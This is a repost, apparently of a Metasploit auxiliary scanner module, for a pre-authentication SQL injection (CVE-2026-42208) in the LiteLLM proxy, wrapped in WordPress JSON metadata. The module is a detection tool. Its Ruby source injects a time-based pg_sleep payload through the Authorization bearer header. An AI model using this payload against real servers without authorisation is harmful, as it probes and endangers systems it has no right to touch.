{"id":65510,"date":"2026-06-24T15:49:33","date_gmt":"2026-06-24T15:49:33","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=65510"},"modified":"2026-06-24T15:49:33","modified_gmt":"2026-06-24T15:49:33","slug":"berriai-litellm-proxy-pre-auth-sql-injection-scanner","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=65510","title":{"rendered":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects BerriAI LiteLLM proxy servers affected by CVE-2026-42208, an unauthenticated SQL injection. During API-key verification the proxy interpolates the raw Authorization bearer value into a PostgreSQL query WHERE v.token = &#8221; without&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-24T19:04:51&#8243;,&#8221;modified&#8221;:&#8221;2026-06-24T19:04:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-42208&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Auxiliary::Scanner\\n  include Msf::Auxiliary::Report\\n  include Msf::Exploit::SQLi\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module detects BerriAI LiteLLM proxy servers affected by\\n          CVE-2026-42208, an unauthenticated SQL injection. During API-key\\n          verification the proxy interpolates the raw Authorization bearer value\\n          into a PostgreSQL query (WHERE v.token = &#8216;\\u003ctoken\\u003e&#8217;) without\\n          parameterization. Because LiteLLM only hashes tokens that begin with\\n          \\&#8221;sk-\\&#8221;, a bearer value that does not start with \\&#8221;sk-\\&#8221; reaches the query\\n          verbatim and is injectable. The failure path that performs the lookup is\\n          reachable before authentication. Affected versions are 1.81.16 through\\n          1.83.6 (fixed in 1.83.7).\\n\\n          The module confirms the flaw with a benign time-based check built on the\\n          framework&#8217;s PostgreSQL time-based blind SQL injection library. It issues a\\n          request whose injected predicate sleeps only when a tautology is true and a\\n          second request whose predicate never sleeps, and reports the target\\n          vulnerable only when the first is delayed while the second returns promptly.\\n          A server that is merely slow delays both requests and is not flagged. The\\n          module does not read or exfiltrate data.\\n\\n          Detection requires the target to have provisioned at least one virtual\\n          key. The injectable predicate sits in a WHERE clause that PostgreSQL\\n          evaluates only against matching rows, so when the token table is empty\\n          the pg_sleep never executes and the proxy appears (falsely) safe. Any\\n          LiteLLM proxy in real use has issued keys; a freshly initialized proxy\\n          with an empty token table may not respond to the time-based probe.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Tencent YunDing Security Lab&#8217;, # vulnerability discovery\\n          &#8216;Kenneth LaCroix&#8217; # Metasploit module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2026-42208&#8217;],\\n          [&#8216;GHSA&#8217;, &#8216;r75f-5x8p-qvmc&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/bishopfox.com\/blog\/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-04-20&#8217;,\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        },\\n        &#8216;DefaultOptions&#8217; =\\u003e { &#8216;RPORT&#8217; =\\u003e 4000, &#8216;SSL&#8217; =\\u003e false }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The LiteLLM chat completions endpoint&#8217;, &#8216;\/v1\/chat\/completions&#8217;]),\\n        OptString.new(&#8216;MODEL&#8217;, [true, &#8216;Model name placed in the request body (need not be a real model)&#8217;, &#8216;gpt-3.5-turbo&#8217;])\\n      ]\\n    )\\n\\n    # Msf::Exploit::SQLi registers SqliDelay with a 1.0s default. A single second\\n    # is easily lost in network jitter for a remote time-based check, so raise the\\n    # default to give a clearer signal while still letting the user tune it.\\n    register_advanced_options(\\n      [\\n        OptFloat.new(&#8216;SqliDelay&#8217;, [false, &#8216;Seconds to pg_sleep for the time-based check&#8217;, 5.0])\\n      ]\\n    )\\n  end\\n\\n  # Best-effort fingerprint via the unauthenticated \/health endpoint.\\n  def fingerprint\\n    res = send_request_cgi(&#8216;method&#8217; =\\u003e &#8216;GET&#8217;, &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;health&#8217;))\\n    return nil unless res\\n\\n    key = res.headers.keys.find { |k| k.casecmp?(&#8216;x-litellm-version&#8217;) }\\n    return \\&#8221;LiteLLM #{res.headers[key]}\\&#8221; if key\\n    return &#8216;LiteLLM \/health&#8217; if res.code == 200\\n\\n    nil\\n  end\\n\\n  # pg_sleep is evaluated once per matching row, so a populated token table can\\n  # delay the response by several multiples of SqliDelay; add a fixed margin for\\n  # the network round-trip on top of that.\\n  def request_timeout\\n    (datastore[&#8216;SqliDelay&#8217;] * 4 + 20).ceil\\n  end\\n\\n  # Builds the time-based blind SQLi probe. The framework library hands our block\\n  # the boolean predicate to test; we break out of the WHERE v.token = &#8216;\\u003ctoken\\u003e&#8217;\\n  # string literal, OR in that predicate, and comment out the trailing quote. A\\n  # bearer that does not begin with \\&#8221;sk-\\&#8221; is interpolated verbatim, so the quote\\n  # reaches the query and the injection lands. The random suffix sits inside the\\n  # SQL comment (so it is inert) but makes every bearer unique, which defeats\\n  # LiteLLM&#8217;s in-memory API-key auth cache: a repeated token would otherwise be\\n  # served from cache and skip the database, suppressing the pg_sleep.\\n  def create_litellm_sqli\\n    create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload|\\n      body = {\\n        &#8216;model&#8217; =\\u003e datastore[&#8216;MODEL&#8217;],\\n        &#8216;messages&#8217; =\\u003e [{ &#8216;role&#8217; =\\u003e &#8216;user&#8217;, &#8216;content&#8217; =\\u003e &#8216;x&#8217; }],\\n        &#8216;max_tokens&#8217; =\\u003e 1\\n      }.to_json\\n      send_request_cgi(\\n        {\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e \\&#8221;Bearer &#8216; OR #{payload}&#8211; #{Rex::Text.rand_text_alphanumeric(8)}\\&#8221; },\\n          &#8216;data&#8217; =\\u003e body\\n        },\\n        request_timeout\\n      )\\n    end\\n  end\\n\\n  def check_host(_ip)\\n    fp = fingerprint\\n    if create_litellm_sqli.test_vulnerable\\n      Exploit::CheckCode::Vulnerable(\\&#8221;Time-based SQL injection via Authorization header confirmed#{fp ? \\&#8221; (#{fp})\\&#8221; : &#8221;}\\&#8221;)\\n    else\\n      Exploit::CheckCode::Safe(&#8216;No time-based SQL injection signal observed&#8217;)\\n    end\\n  end\\n\\n  def run_host(ip)\\n    code = check_host(ip)\\n    unless code == Exploit::CheckCode::Vulnerable\\n      print_status(\\&#8221;#{peer} &#8211; #{code.message}\\&#8221;)\\n      return\\n    end\\n\\n    print_good(\\&#8221;#{peer} &#8211; #{code.message}\\&#8221;)\\n    report_vuln(\\n      host: rhost,\\n      port: rport,\\n      name: name,\\n      info: &#8216;Time-based blind SQLi via Authorization header (pg_sleep)&#8217;,\\n      refs: references\\n    )\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/http\/litellm_proxy_sqli.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/litellm_proxy_sqli\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects BerriAI LiteLLM proxy servers affected by CVE-2026-42208, an unauthenticated SQL injection. During API-key verification the proxy interpolates the raw Authorization bearer value&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-65510","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=65510\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects BerriAI LiteLLM proxy servers affected by CVE-2026-42208, an unauthenticated SQL injection. During API-key verification the proxy interpolates the raw Authorization bearer value...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=65510\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-24T15:49:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-\",\"datePublished\":\"2026-06-24T15:49:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510\"},\"wordCount\":1135,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65510#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510\",\"name\":\"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-24T15:49:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65510\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65510#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=65510","og_locale":"en_US","og_type":"article","og_title":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects BerriAI LiteLLM proxy servers affected by CVE-2026-42208, an unauthenticated SQL injection. During API-key verification the proxy interpolates the raw Authorization bearer value...","og_url":"https:\/\/zero.redgem.net\/?p=65510","og_site_name":"zero redgem","article_published_time":"2026-06-24T15:49:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=65510#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=65510"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-","datePublished":"2026-06-24T15:49:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=65510"},"wordCount":1135,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=65510#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=65510","url":"https:\/\/zero.redgem.net\/?p=65510","name":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-24T15:49:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=65510#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=65510"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=65510#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner_MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65510","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65510"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65510\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65510"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65510"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65510"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}